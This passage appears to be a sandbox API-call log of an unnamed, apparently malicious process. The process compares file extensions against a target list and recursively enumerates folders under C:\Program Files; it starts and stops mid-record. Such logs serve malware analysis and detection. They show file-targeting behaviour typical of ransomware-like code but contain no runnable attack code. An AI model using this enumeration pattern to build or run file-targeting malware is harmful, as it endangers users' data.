lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0081.842] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0081.842] lstrcmpiW (lpString1=".accda", lpString2="re.png") returned -1 [0081.842] lstrcmpiW (lpString1=".accdb", lpString2="re.png") returned -1 [0081.842] lstrcmpiW (lpString1=".accdc", lpString2="re.png") returned -1 [0081.842] lstrcmpiW (lpString1=".accde", lpString2="re.png") returned -1 [0081.842] lstrcmpiW (lpString1=".accdt", lpString2="re.png") returned -1 [0081.842] lstrcmpiW (lpString1=".accdw", lpString2="re.png") returned -1 [0081.842] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0081.842] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0081.842] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0081.842] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0081.842] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0081.843] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0081.843] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0083.290] FindClose (in: hFindFile=0x3ee3060 | out: hFindFile=0x3ee3060) returned 1 [0083.291] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3ed0058 | out: hHeap=0x5d0000) returned 1 [0083.635] FindNextFileW (in: hFindFile=0x3ee3020, lpFindFileData=0x2eef808 | out: lpFindFileData=0x2eef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="soniccolorconverter.ax", cAlternateFileName="")) returned 1 [0083.636] FindClose (in: hFindFile=0x3ee3020 | out: hFindFile=0x3ee3020) returned 1 [0083.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3890060 | out: hHeap=0x5d0000) returned 1 [0083.636] FindNextFileW (in: hFindFile=0x3ee2fa0, lpFindFileData=0x2eefa84 | out: lpFindFileData=0x2eefa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0083.636] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\*", lpFindFileData=0x2eef808 | out: lpFindFileData=0x2eef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ee3020 [0083.637] FindNextFileW (in: hFindFile=0x3ee3020, lpFindFileData=0x2eef808 | out: lpFindFileData=0x2eef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.637] FindNextFileW (in: hFindFile=0x3ee3020, lpFindFileData=0x2eef808 | out: lpFindFileData=0x2eef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0083.637] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\*", lpFindFileData=0x2eef58c | out: lpFindFileData=0x2eef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ee3060 [0083.716] FindNextFileW (in: hFindFile=0x3ee3060, lpFindFileData=0x2eef58c | out: lpFindFileData=0x2eef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.716] FindNextFileW (in: hFindFile=0x3ee3060, lpFindFileData=0x2eef58c | out: lpFindFileData=0x2eef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1 [0083.717] FindClose (in: hFindFile=0x3ee3060 | out: hFindFile=0x3ee3060) returned 1 [0083.718] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3ed0058 | out: hHeap=0x5d0000) returned 1 [0083.718] FindNextFileW (in: hFindFile=0x3ee3020, lpFindFileData=0x2eef808 | out: lpFindFileData=0x2eef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f55643f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5f55643f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x23ff2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0083.720] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x2eef58c | out: lpFindFileData=0x2eef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ee3060 [0083.720] FindNextFileW (in: hFindFile=0x3ee3060, lpFindFileData=0x2eef58c | out: lpFindFileData=0x2eef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.720] FindNextFileW (in: hFindFile=0x3ee3060, lpFindFileData=0x2eef58c | out: lpFindFileData=0x2eef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 1 [0083.720] FindClose (in: hFindFile=0x3ee3060 | out: hFindFile=0x3ee3060) returned 1 [0083.720] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3ed0058 | out: hHeap=0x5d0000) returned 1 [0083.720] FindNextFileW (in: hFindFile=0x3ee3020, lpFindFileData=0x2eef808 | out: lpFindFileData=0x2eef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0083.721] FindClose (in: hFindFile=0x3ee3020 | out: hFindFile=0x3ee3020) returned 1 [0083.721] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3890060 | out: hHeap=0x5d0000) returned 1 [0083.721] FindNextFileW (in: hFindFile=0x3ee2fa0, lpFindFileData=0x2eefa84 | out: lpFindFileData=0x2eefa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0083.721] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\*", lpFindFileData=0x2eef808 | out: lpFindFileData=0x2eef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ee3020 [0083.721] FindNextFileW (in: hFindFile=0x3ee3020, lpFindFileData=0x2eef808 | out: lpFindFileData=0x2eef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.721] FindNextFileW (in: hFindFile=0x3ee3020, lpFindFileData=0x2eef808 | out: lpFindFileData=0x2eef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1 [0083.721] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x2eef58c | out: lpFindFileData=0x2eef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ee3060 [0083.722] FindNextFileW (in: hFindFile=0x3ee3060, lpFindFileData=0x2eef58c | out: lpFindFileData=0x2eef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.722] FindNextFileW (in: hFindFile=0x3ee3060, lpFindFileData=0x2eef58c | out: lpFindFileData=0x2eef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0083.899] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*", lpFindFileData=0x2eef310 | out: lpFindFileData=0x2eef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ee30e0 [0083.899] FindNextFileW (in: hFindFile=0x3ee30e0, lpFindFileData=0x2eef310 | out: lpFindFileData=0x2eef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.899] FindNextFileW (in: hFindFile=0x3ee30e0, lpFindFileData=0x2eef310 | out: lpFindFileData=0x2eef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0083.900] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", lpFindFileData=0x2eef094 | out: lpFindFileData=0x2eef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ee3160 [0083.901] FindNextFileW (in: hFindFile=0x3ee3160, lpFindFileData=0x2eef094 | out: lpFindFileData=0x2eef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.902] FindNextFileW (in: hFindFile=0x3ee3160, lpFindFileData=0x2eef094 | out: lpFindFileData=0x2eef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0083.902] FindClose (in: hFindFile=0x3ee3160 | out: hFindFile=0x3ee3160) returned 1 [0083.904] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3fa4018 | out: hHeap=0x5d0000) returned 1 [0083.904] FindNextFileW (in: hFindFile=0x3ee30e0, lpFindFileData=0x2eef310 | out: lpFindFileData=0x2eef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0083.905] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", lpFindFileData=0x2eef094 | out: lpFindFileData=0x2eef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ee3160 [0083.905] FindNextFileW (in: hFindFile=0x3ee3160, lpFindFileData=0x2eef094 | out: lpFindFileData=0x2eef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.905] FindNextFileW (in: hFindFile=0x3ee3160, lpFindFileData=0x2eef094 | out: lpFindFileData=0x2eef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0083.905] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", lpFindFileData=0x2eeee18 | out: lpFindFileData=0x2eeee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ee3120 [0083.906] FindNextFileW (in: hFindFile=0x3ee3120, lpFindFileData=0x2eeee18 | out: lpFindFileData=0x2eeee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.906] FindNextFileW (in: hFindFile=0x3ee3120, lpFindFileData=0x2eeee18 | out: lpFindFileData=0x2eeee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0083.906] FindClose (in: hFindFile=0x3ee3120 | out: hFindFile=0x3ee3120) returned 1 [0083.906] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3fb4020 | out: hHeap=0x5d0000) returned 1 [0083.906] FindNextFileW (in: hFindFile=0x3ee3160, lpFindFileData=0x2eef094 | out: lpFindFileData=0x2eef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0083.906] FindClose (in: hFindFile=0x3ee3160 | out: hFindFile=0x3ee3160) returned 1 [0083.906] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3fa4018 | out: hHeap=0x5d0000) returned 1 [0083.907] FindNextFileW (in: hFindFile=0x3ee30e0, lpFindFileData=0x2eef310 | out: lpFindFileData=0x2eef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 0 [0083.907] FindClose (in: hFindFile=0x3ee30e0 | out: hFindFile=0x3ee30e0) returned 1 [0083.907] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f94010 | out: hHeap=0x5d0000) returned 1 [0083.907] FindNextFileW (in: hFindFile=0x3ee3060, lpFindFileData=0x2eef58c | out: lpFindFileData=0x2eef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0 [0083.907] FindClose (in: hFindFile=0x3ee3060 | out: hFindFile=0x3ee3060) returned 1 [0083.907] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3ed0058 | out: hHeap=0x5d0000) returned 1 [0083.910] FindNextFileW (in: hFindFile=0x3ee3020, lpFindFileData=0x2eef808 | out: lpFindFileData=0x2eef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0 [0083.911] FindClose (in: hFindFile=0x3ee3020 | out: hFindFile=0x3ee3020) returned 1 [0083.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3890060 | out: hHeap=0x5d0000) returned 1 [0083.911] FindNextFileW (in: hFindFile=0x3ee2fa0, lpFindFileData=0x2eefa84 | out: lpFindFileData=0x2eefa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdc52b540, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc52b540, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0083.911] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x2eef808 | out: lpFindFileData=0x2eef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdc52b540, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc52b540, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ee3020 [0083.911] FindNextFileW (in: hFindFile=0x3ee3020, lpFindFileData=0x2eef808 | out: lpFindFileData=0x2eef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdc52b540, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc52b540, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.911] FindNextFileW (in: hFindFile=0x3ee3020, lpFindFileData=0x2eef808 | out: lpFindFileData=0x2eef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, 